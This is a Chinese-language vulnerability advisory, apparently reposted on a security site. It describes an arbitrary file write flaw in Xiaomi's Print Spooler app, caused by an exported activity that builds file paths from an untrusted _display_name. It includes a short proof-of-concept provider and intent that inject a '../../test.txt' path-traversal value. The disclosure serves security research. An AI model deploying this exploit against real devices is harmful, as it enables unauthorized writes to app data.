小米设备 打印后台处理程序存在任意文件写入漏洞

admin 2024年11月4日23:27:52评论36 views字数 1431阅读4分46秒阅读模式

Print Spooler 应用程序 ( com.android.printspooler ) 的过度安全扫描报告包含以下漏洞: 小米设备 打印后台处理程序存在任意文件写入漏洞

这个应用程序也来自AOSP,但已经被小米打了补丁。应用程序处理导出的第三方 URI com.android.printspooler.convertpdf.ConvertPdfAlertActivity 活动。它会自动缓存其中的内容,并使用攻击者控制的_display_name值来形成输出文件路径。该应用程序使用androidx.documentfile AndroidX 库。然而,它和 Android Framework 类,例如 android.provider.DocumentsProvider 不要以任何方式验证值。这使得攻击者可以注入特殊字符,如/并扩展攻击。

概念验证

文件AndroidManifest.xml :

<provider android:name=".MyContentProvider" android:authorities="test.provider" android:exported="true" />

文件MainActivity.java :

Intent i = new Intent();i.setData(Uri.parse("content://test.provider/something"));i.setClassName("com.android.printspooler", "com.android.printspooler.convertpdf.ConvertPdfAlertActivity");startActivity(i);

文件MyContentProvider.java :

public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {    MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});    matrixCursor.addRow(new Object[]{"../../test.txt"});    return matrixCursor;}public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {    return ParcelFileDescriptor.open(makeFile(), ParcelFileDescriptor.MODE_READ_ONLY);}private File makeFile() {    File path = new File(getContext().getApplicationInfo().dataDir, "test.txt");    if (!path.exists()) {        try (OutputStream outputStream = new FileOutputStream(path)) {            outputStream.write("test".getBytes());        } catch (Throwable th) {            throw new RuntimeException(th);        }    }    return path;}

原文始发于微信公众号(合规渗透):小米设备 打印后台处理程序存在任意文件写入漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月4日23:27:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   小米设备 打印后台处理程序存在任意文件写入漏洞https://cn-sec.com/archives/3353661.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息